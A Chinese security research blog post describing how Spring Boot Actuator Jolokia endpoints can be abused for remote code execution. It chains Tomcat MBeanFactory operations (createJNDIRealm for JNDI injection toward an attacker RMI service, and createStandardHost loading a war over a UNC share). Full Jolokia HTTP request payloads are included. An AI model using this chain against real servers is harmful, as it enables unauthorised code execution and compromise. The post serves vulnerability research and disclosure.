文章作者:Ricter

文章来源:https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt

I. TL;DR

前几日 Michael Stepankin 披露了利用 Jolokia 来攻击 Spring Boot Actuators 的文章,地址在 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators。我也曾经研究过利用 Jolokia 攻击各类 Java Web 容器,但却是遗漏了 Spring 生态。

而碰巧的是,我在刷 BILIBILI SRC 的时候遇到了一个开启了 Spring Boot Admin 的实例,但是利用文章中的手法却失败了。我使用了文章中提及到的如下手法:

  1. /jolokia 下的 ch.qos.logback.classic reloadByURL -> 不存在这个 MBean
  2. /env 的 eureka.client.serviceUrl.defaultZone XStream -> /env 不允许 POST 请求(405)作为一个喜欢 RCE 的 boy,不能接受这样的事实。于是我研究了一下 Spring Boot 暴露出来的 MBean,通过操控 MBean 来实现了 JNDI 注入,绕过 JDK8u191 的 trustURLCodebase 限制。 # II. Hunting MBean 利用 Michael Stepankin 文章中给的 example code,我去除了 logback.xml 和 /env 的配置后运行。

启动后访问 /jolokia/list,列出了所有的 MBean 信息。

Spring Boot 内嵌了一个 Tomcat,所以在 MBean 列表中列出了 Tomcat 的 MBean。通过漫长的寻找(花了我两三天的晚上),找到了几个比较有意思的且感觉可以利用的 MBean operation。

  1. Tomcat:type=MBeanFactory createJNDIRealm -> JNDI Injection

  2. Tomcat:type=MBeanFactory createJDBCRealm -> JNDI Injection

  3. Tomcat:type=MBeanFactory createDataSourceRealm -> JNDI Injection

  4. Tomcat:type=MBeanFactory createUserDatabaseRealm -> JNDI Injection

  5. Tomcat:type=MBeanFactory createValve -> Create Valve (File Writting, JNDI Injection)

当然最后,除了第一个成功了,其他全部失败或者无用。先举几个失败的例子当开胃菜好了 :)。这里举一个 createUserDatabaseRealm 的例子:

调用 setter 把 resourceName 写入。接着在 start Realm 的时候,会调用以下函数:

FILE: tomcat-embed-core\8.5.15-embed-core-8.5.15-sources.jar!.java

是不是非常熟悉的场景?context.lookup(resourceName),而 resourceName 可控,那么可以直接JNDI 注入了。但是遗憾的是getServer().getGlobalNamingContext() 返回的是 null,所以在lookup的时候抛了 NullPointer 的错误。还有一些奇奇怪怪的 Bug,比如利用 createValve 创建一个JDBCAccessLogValve,但是利用 Jolokia 设置其 driverName 的时候,由于 driverName 没有getter,导致 Jolokia 不能正常设置;再比如 createJDBCRealm 的时候,由于这个方法接受的参数和MBean 导出(mbeans-descriptors.xml)的配置文件内写的参数数量不一致导致无法调用这个 MBean operation。

III. createJNDIRealm

在多次尝试后,最终我盯上了 createJNDIRealm 这个方法。

FILE: tomcat-embed-core-8.5.15-sources.jar!.java

这里只传入了 parent。利用 Burpsuite 先创建这个 Realm。

POST /jolokia/ HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 133
{
    "type": "EXEC",
    "mbean": "Tomcat:type=MBeanFactory",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

创建成功后,我们查看这个 Realm 的 MBean 信息:

注意到两个有意思的属性,connectionURL 和 contextFactory。查看 JNDIRealm 的源码:

可见 java.naming.factory.initial 和 java.naming.provider.url 我们都可以通过 MBean 来进行修改,接着在 createDirContext 方法,利用刚才的 env 创建了 InitialDirContext 对象。最终可以造成JNDI 注入。于是我满怀欣喜的搭建好 RMI Service,却发现爆了这么一个错误:

我才发现我本地的 Java 已经是 JDK8u121 的版本了。那么如果想进行 JNDI 注入的攻击,需要绕过这个限制。于是我又 Google 了一下,发现了 Michael Stepankin 的另外一篇绕过 RMI 防御措施的文章:https://www.veracode.com/blog/research/exploiting-jndi-injections-java(这人是神吗…)。

IV. Exploit it!

由于 Spring Boot 内嵌了 Tomcat 和 Tomcat EL,可以直接使用文章中的 Exploit。最终 Exploit 触发分为五个步骤。 1. 创建 JNDIRealm 2. 写入 connectionURL 为你的 RMI Service URL 3. 写入 contextFactory 为 RegistryContextFactory 4. 停止 Realm 5. 启动 Realm 以触发 JNDI 注入

最终 Exploit 如下:

V. UNC on Windows

刷推的时候看到这篇文章:https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/,在 Tomcat Host Manager 这里可以利用 UNC 来部署 war 文件。实际上对于Tomcat:type=MBeanFactory 的createStandardHost,和 Host Manager 这里调用的是相同的方法。所以根据文章所述的方法,我们同样可以在Jolokia 里重现。不过可惜的是这里只对 Windows 有效。 首先去 spring-boot 的 Github 下载 spring-boot-samples-traditional,在 web.xml 里添加如下内容:

然后修改 WebConfig.java,在 dispatcherServlet 添加执行命令的代码:

接着打包成 war 文件放在远程的共享服务器上面,发送如下请求即可:

POST /jolokia HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 192

{
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createStandardHost",
    "arguments": ["Tomcat:type=Engine", "test2", "\\127.0.0.1\test", true, true, true, true]
}